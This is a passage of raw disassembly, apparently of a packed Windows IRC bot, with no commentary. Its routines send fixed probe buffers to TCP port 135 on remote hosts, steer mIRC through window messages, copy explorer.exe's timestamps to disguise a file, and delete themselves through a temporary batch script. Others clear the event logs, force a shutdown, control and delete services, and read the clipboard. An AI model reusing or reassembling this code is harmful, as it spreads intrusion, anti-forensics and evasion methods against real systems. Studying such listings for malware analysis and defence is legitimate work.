mov cl, 41h
loc_4181F2: ; CODE XREF: sub_417E84+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_4181FC: ; CODE XREF: sub_417E84+2F2j
; sub_417E84+354j
cmp [ebp+var_C], 2
jge short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276C8
call sub_41D174
cmp eax, 1
jnz short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276A8
call sub_41D174
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276A0
call sub_41D174
cmp eax, 1
jnz short loc_41827C
cmp [ebp+var_C], eax
jge short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_427698
call sub_41D174
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_41827C: ; CODE XREF: sub_417E84+1B1j
; sub_417E84+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41BFD0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417E84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418295 proc near ; CODE XREF: sub_4182CD+125p
; sub_4182CD+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_4182C3
loc_4182A6: ; CODE XREF: sub_418295+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41DF40
add esp, 0Ch
test eax, eax
jz short loc_4182C9
inc esi
cmp esi, edi
jl short loc_4182A6
loc_4182C3: ; CODE XREF: sub_418295+Fj
xor al, al
loc_4182C5: ; CODE XREF: sub_418295+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4182C9: ; CODE XREF: sub_418295+27j
mov al, 1
jmp short loc_4182C5
sub_418295 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4182CD proc near ; CODE XREF: .packed:0040DFD7p
; .packed:0040E0C0p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_41C500
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_41830E
dec eax
jz short loc_4182EC
dec eax
loc_4182E6: ; CODE XREF: sub_4182CD+57j
xor eax, eax
loc_4182E8: ; CODE XREF: sub_4182CD+3Fj
; sub_4182CD+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4182EC: ; CODE XREF: sub_4182CD+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_4CBA14 ; inet_addr
push eax
call sub_40C34B
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_4182E8
; ---------------------------------------------------------------------------
loc_41830E: ; CODE XREF: sub_4182CD+13j
push 6
push 1
push 2
call dword_4CBA54 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_4182E6
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_4CB9D4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40A8F0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CB97C ; connect
cmp eax, edi
jz loc_41842A
push ebx
push 48h
push offset dword_439374
push esi
call dword_4CBA24 ; send
cmp eax, edi
jz loc_41842A
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CB9EC ; recv
cmp eax, edi
jz loc_41842A
cmp [ebp+var_200E], 0Ch
jnz short loc_41842A
push ebx
push 18h
push offset dword_4393C0
push [ebp+arg_4]
call dword_4CBA24 ; send
cmp eax, edi
jz short loc_41842A
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CB9EC ; recv
mov esi, eax
cmp esi, edi
jz short loc_41842A
cmp [ebp+var_200E], 2
jnz short loc_41842A
push 10h
push offset loc_4393DC
lea eax, [ebp+var_2010]
push esi
push eax
call sub_418295
add esp, 10h
test al, al
jz short loc_41840A
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_41842A
; ---------------------------------------------------------------------------
loc_41840A: ; CODE XREF: sub_4182CD+12Fj
push 10h
push offset dword_4393F0
lea eax, [ebp+var_2010]
push esi
push eax
call sub_418295
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_41842A: ; CODE XREF: sub_4182CD+9Bj
; sub_4182CD+B2j ...
push [ebp+arg_4]
call dword_4CBA6C ; closesocket
mov eax, ebx
pop ebx
jmp loc_4182E8
sub_4182CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41843B proc near ; CODE XREF: sub_401ACD+BD0p
; sub_401ACD+C0Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_4184C6
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_4184C6
cmp [ebp+arg_8], esi
jz short loc_4184C6
cmp byte ptr [eax], 0
jz short loc_4184C6
push ebx
push edi
call sub_426465
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_4184C1
push [ebp+arg_4]
push edi
call sub_41C2E0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4184BA
sub eax, edi
push eax
push edi
push ebx
call sub_41BFD0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41B9C0
push eax
push [ebp+arg_8]
push ebx
call sub_41CBC0
push [ebp+arg_4]
call sub_41B9C0
add eax, esi
push eax
push ebx
call sub_41C8A0
push ebx
push edi
call sub_41C890
add esp, 30h
mov esi, edi
loc_4184BA: ; CODE XREF: sub_41843B+3Cj
push ebx
call sub_41BA91
pop ecx
loc_4184C1: ; CODE XREF: sub_41843B+2Bj
mov eax, esi
pop ebx
jmp short loc_4184C8
; ---------------------------------------------------------------------------
loc_4184C6: ; CODE XREF: sub_41843B+Cj
; sub_41843B+13j ...
xor eax, eax
loc_4184C8: ; CODE XREF: sub_41843B+89j
pop edi
pop esi
pop ebp
retn
sub_41843B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184CC proc near ; CODE XREF: sub_401955+E9p
; sub_410BFD+F4p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41BF70
mov esi, [ebp+arg_0]
push esi
call sub_41B9C0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_418502
or eax, 0FFFFFFFFh
jmp short loc_418575
; ---------------------------------------------------------------------------
loc_418502: ; CODE XREF: sub_4184CC+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_418524
loc_41850E: ; CODE XREF: sub_4184CC+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_41851B
cmp dl, 0Dh
jnz short loc_41851F
loc_41851B: ; CODE XREF: sub_4184CC+48j
and byte ptr [ecx+esi], 0
loc_41851F: ; CODE XREF: sub_4184CC+4Dj
inc ecx
cmp ecx, eax
jl short loc_41850E
loc_418524: ; CODE XREF: sub_4184CC+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418555
lea edi, [ebp+var_7CC]
loc_418531: ; CODE XREF: sub_4184CC+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418550
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418550
cmp ebx, 1F4h
jge short loc_418555
mov [edi], ecx
inc ebx
add edi, 4
loc_418550: ; CODE XREF: sub_4184CC+69j
; sub_4184CC+74j
inc edx
cmp edx, eax
jl short loc_418531
loc_418555: ; CODE XREF: sub_4184CC+5Dj
; sub_4184CC+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418573
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41CD20
add esp, 0Ch
loc_418573: ; CODE XREF: sub_4184CC+8Ej
mov eax, ebx
loc_418575: ; CODE XREF: sub_4184CC+34j
pop esi
pop ebx
leave
retn
sub_4184CC endp
; =============== S U B R O U T I N E =======================================
sub_418579 proc near ; CODE XREF: sub_4185D3+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_4185B2
push ebx
mov ebx, edi
loc_418596: ; CODE XREF: sub_418579+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_4185B5
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_418596
pop ebx
loc_4185B2: ; CODE XREF: sub_418579+18j
pop edi
pop esi
retn
sub_418579 endp
; =============== S U B R O U T I N E =======================================
sub_4185B5 proc near ; CODE XREF: sub_418579+25p
; sub_4185D3+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41DFEC
cmp al, 61h
pop ecx
jl short loc_4185D0
cmp al, 7Ah
jg short loc_4185D0
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_4185D0: ; CODE XREF: sub_4185B5+Ej
; sub_4185B5+12j
xor eax, eax
retn
sub_4185B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185D3 proc near ; CODE XREF: sub_415E19+10p
; sub_415E4B+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41C500
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B9C0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41B9C0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_418579
add esp, 14h
dec esi
mov edi, esi
loc_418611: ; CODE XREF: sub_4185D3+B6j
test esi, esi
jle short loc_41868F
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DFEC
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41DFEC
pop ecx
cmp eax, ebx
pop ecx
jz short loc_418687
loc_418637: ; CODE XREF: sub_4185D3+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_4185B5
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_418658
mov eax, ecx
loc_418658: ; CODE XREF: sub_4185D3+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41868B
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DFEC
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41DFEC
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_418637
loc_418687: ; CODE XREF: sub_4185D3+62j
dec edi
dec esi
jmp short loc_418611
; ---------------------------------------------------------------------------
loc_41868B: ; CODE XREF: sub_4185D3+8Aj
xor eax, eax
jmp short loc_418694
; ---------------------------------------------------------------------------
loc_41868F: ; CODE XREF: sub_4185D3+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_418694: ; CODE XREF: sub_4185D3+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_4185D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418699 proc near ; CODE XREF: sub_401ACD+66C5p
; sub_401ACD+76FFp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call dword_427094 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call dword_427164 ; FormatMessageA
lea eax, [ebp+var_100]
loc_4186D2: ; CODE XREF: sub_418699+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_4186DE
cmp cl, 9
jnz short loc_4186E1
loc_4186DE: ; CODE XREF: sub_418699+3Ej
inc eax
jmp short loc_4186D2
; ---------------------------------------------------------------------------
loc_4186E1: ; CODE XREF: sub_418699+43j
; sub_418699+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_4186FB
mov cl, [eax]
cmp cl, 2Eh
jz short loc_4186E1
cmp cl, 21h
jl short loc_4186E1
loc_4186FB: ; CODE XREF: sub_418699+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DB17C
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41C360
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_418699 endp
; =============== S U B R O U T I N E =======================================
sub_418723 proc near ; CODE XREF: sub_401ACD+2470p
push esi
push 0
call dword_4CB9A4 ; OpenClipboard
test eax, eax
jz short loc_41875A
push 1
call dword_4CB9C4 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_41875A
push edi
push esi
call dword_42716C ; GlobalLock
push esi
mov edi, eax
call dword_427168 ; GlobalUnlock
call dword_4CBA28 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41875A: ; CODE XREF: sub_418723+Bj
; sub_418723+19j
xor eax, eax
pop esi
retn
sub_418723 endp
; =============== S U B R O U T I N E =======================================
sub_41875E proc near ; CODE XREF: sub_401ACD+74BFp
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CB9E0 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_4187DA
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call dword_427178 ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call dword_427174 ; MapViewOfFile
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41C266
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CBA30 ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_4CBA30 ; SendMessageA
push ebx
call dword_427170 ; UnmapViewOfFile
push edi
call dword_427070 ; CloseHandle
push 1
pop eax
pop ebx
jmp short loc_4187DC
; ---------------------------------------------------------------------------
loc_4187DA: ; CODE XREF: sub_41875E+16j
xor eax, eax
loc_4187DC: ; CODE XREF: sub_41875E+7Aj
pop edi
pop esi
pop ebp
retn
sub_41875E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4187E0 proc near ; CODE XREF: sub_401221+212p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CBA90 ; SearchPathA
test eax, eax
jz short loc_41887F
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4270F8
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_41887F
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call dword_427180 ; GetFileTime
push ebx
mov ebx, dword_427070
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41887F
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call dword_42717C ; SetFileTime
push esi
call ebx ; CloseHandle
loc_41887F: ; CODE XREF: sub_4187E0+2Aj
; sub_4187E0+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4187E0 endp
; =============== S U B R O U T I N E =======================================
sub_418884 proc near ; CODE XREF: sub_401ACD+1682p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419B9E
pop ecx
pop ecx
push 50005h
push 6
call dword_4CB914 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_418884 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4188A6 proc near ; CODE XREF: sub_401ACD+270Ep
; sub_4167A0+472p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_429090, esi
push edi
jz short loc_4188CA
cmp dword_4CBAA4, esi
jnz short loc_4188CA
push esi
call sub_401000
pop ecx
loc_4188CA: ; CODE XREF: sub_4188A6+13j
; sub_4188A6+1Bj
call sub_40B583
lea eax, [ebp+var_764]
push eax
push 400h
call dword_4270B8 ; GetTempPathA
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_4270F8 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_418A2A
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call dword_4270F0 ; WriteFile
push edi
call dword_427070 ; CloseHandle
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41BF70
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_43DB88
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call dword_4270A4 ; GetModuleHandleA
push eax
call dword_427078 ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call dword_4270A0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4189D2
lea eax, [ebp+var_15C]
push 80h
push eax
call dword_42709C ; SetFileAttributesA
loc_4189D2: ; CODE XREF: sub_4188A6+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call dword_427184 ; ExpandEnvironmentStringsA
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call dword_427074 ; CreateProcessA
loc_418A2A: ; CODE XREF: sub_4188A6+72j
pop edi
pop esi
leave
retn
sub_4188A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A2E proc near ; CODE XREF: sub_401ACD+7133p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call dword_4270D0 ; GetVersionExA
cmp [ebp+var_84], 2
jnz short loc_418AC4
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CB954 ; OpenEventLogA
push edi
push eax
call dword_4CB964 ; ClearEventLogA
test eax, eax
jz short loc_418AB6
push [ebp+arg_10]
push offset dword_4394FC
loc_418A8F: ; CODE XREF: sub_418A2E+94j
lea eax, [ebp+var_294]
push eax
call sub_41C266
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
jmp short loc_418AEE
; ---------------------------------------------------------------------------
loc_418AB6: ; CODE XREF: sub_418A2E+57j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4394D4
jmp short loc_418A8F
; ---------------------------------------------------------------------------
loc_418AC4: ; CODE XREF: sub_418A2E+3Fj
lea eax, [ebp+var_294]
push offset unk_4394A4
push eax
call sub_41C266
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 1Ch
loc_418AEE: ; CODE XREF: sub_418A2E+86j
pop edi
leave
retn
sub_418A2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418AF1 proc near ; CODE XREF: sub_401ACD+551Cp
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call dword_4270D0 ; GetVersionExA
cmp [ebp+var_90], 4
jnz short loc_418B47
cmp [ebp+var_8C], 0
jnz short loc_418B30
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_418B47
leave
retn
; ---------------------------------------------------------------------------
loc_418B30: ; CODE XREF: sub_418AF1+30j
cmp [ebp+var_8C], 0Ah
jz short loc_418B42
cmp [ebp+var_8C], 5Ah
jnz short loc_418B47
loc_418B42: ; CODE XREF: sub_418AF1+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_418B47: ; CODE XREF: sub_418AF1+27j
; sub_418AF1+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call dword_4270C0 ; LoadLibraryA
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
call dword_4270C4 ; GetProcAddress
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41E0D4
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41E0D4
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41E0D4
lea eax, [ebp+var_F8]
push eax
call sub_41E0B7
shl eax, 1
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi ; GetProcessHeap
add esp, 3Ch
mov edi, eax
push esi
call dword_427144 ; FreeLibrary
mov eax, edi
pop edi
pop esi
leave
retn
sub_418AF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BD1 proc near ; CODE XREF: sub_40111D+F7p
; sub_40F0F1+Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_4276E0
call sub_41D174
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418BD1 endp
; =============== S U B R O U T I N E =======================================
sub_418C0E proc near ; CODE XREF: sub_401ACD:loc_406021p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418C66
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_439520[esi]
push edi
push eax
call sub_418C88
add esp, 14h
test eax, eax
jnz short loc_418C56
push edi
push off_43951C[esi]
push offset unk_439630
loc_418C46: ; CODE XREF: sub_418C0E+56j
mov esi, offset dword_4DBA40
push esi
call sub_41C266
add esp, 10h
jmp short loc_418C83
; ---------------------------------------------------------------------------
loc_418C56: ; CODE XREF: sub_418C0E+2Aj
push eax
call sub_418D2A
pop ecx
push eax
push edi
push offset unk_439604
jmp short loc_418C46
; ---------------------------------------------------------------------------
loc_418C66: ; CODE XREF: sub_418C0E+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DBA40
push off_439518[eax*4]
push offset unk_4395E0
push esi
call sub_41C266
add esp, 0Ch
loc_418C83: ; CODE XREF: sub_418C0E+46j
mov eax, esi
pop edi
pop esi
retn
sub_418C0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C88 proc near ; CODE XREF: sub_418C0E+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CB9C8 ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_418CAF
call dword_427094 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_418D24
; ---------------------------------------------------------------------------
loc_418CAF: ; CODE XREF: sub_418C88+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CB8B0 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_418CCF
call dword_427094 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_418D1C
; ---------------------------------------------------------------------------
loc_418CCF: ; CODE XREF: sub_418C88+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_418D02
cmp eax, 3
jz short loc_418CF3
jle short loc_418D15
cmp eax, 6
jg short loc_418D15
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CB91C ; ControlService
jmp short loc_418D09
; ---------------------------------------------------------------------------
loc_418CF3: ; CODE XREF: sub_418C88+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CB8B8 ; StartServiceA
jmp short loc_418D09
; ---------------------------------------------------------------------------
loc_418D02: ; CODE XREF: sub_418C88+4Dj
push esi
call dword_4CB920 ; DeleteService
loc_418D09: ; CODE XREF: sub_418C88+69j
; sub_418C88+78j
test eax, eax
jnz short loc_418D15
call dword_427094 ; RtlGetLastWin32Error
mov ebx, eax
loc_418D15: ; CODE XREF: sub_418C88+54j
; sub_418C88+59j ...
push esi
call dword_4CB8CC ; CloseServiceHandle
loc_418D1C: ; CODE XREF: sub_418C88+45j
push edi
call dword_4CB8CC ; CloseServiceHandle
pop esi
loc_418D24: ; CODE XREF: sub_418C88+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_418C88 endp
; =============== S U B R O U T I N E =======================================
sub_418D2A proc near ; CODE XREF: sub_418C0E+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418DDF
jz loc_418DD8
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418DA2
jz short loc_418D98
mov ecx, eax
sub ecx, 3
jz short loc_418D8E
dec ecx
dec ecx
jz short loc_418D84
dec ecx
jz short loc_418D7A
sub ecx, 51h
jz short loc_418D70
sub ecx, 24h
jnz loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D70: ; CODE XREF: sub_418D2A+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D7A: ; CODE XREF: sub_418D2A+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_418E47
